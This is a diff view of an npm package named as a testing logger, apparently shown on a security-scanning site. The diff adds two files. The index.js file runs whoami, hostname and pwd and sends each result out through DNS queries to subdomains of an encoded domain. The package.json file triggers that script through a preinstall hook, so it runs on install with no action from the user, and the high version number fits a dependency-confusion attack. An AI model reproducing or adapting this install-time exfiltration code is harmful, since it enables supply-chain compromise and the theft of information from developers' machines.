testing-logger-bush1do-c0de 100.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +23 -0
  2. package/package.json +9 -0
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const dns = require('dns');
2
+ const { exec } = require('child_process');
3
+
4
+ function exfiltrateData(data) {
5
+ const subdomain = `${data}.${Buffer.from('noreply.access.ly').toString('base64')}`;
6
+ dns.resolve4(subdomain, (err, addresses) => {
7
+ if (err) console.error(err);
8
+ else console.log(`Data exfiltrated: ${addresses}`);
9
+ });
10
+ }
11
+
12
+ // Run commands and send output
13
+ exec('whoami', (error, stdout) => {
14
+ if (stdout) exfiltrateData(stdout.trim());
15
+ });
16
+
17
+ exec('hostname', (error, stdout) => {
18
+ if (stdout) exfiltrateData(stdout.trim());
19
+ });
20
+
21
+ exec('pwd', (error, stdout) => {
22
+ if (stdout) exfiltrateData(stdout.trim());
23
+ });
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "testing-logger-bush1do-c0de",
3
+ "version": "100.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node index.js"
7
+ },
8
+ "dependencies": {}
9
+ }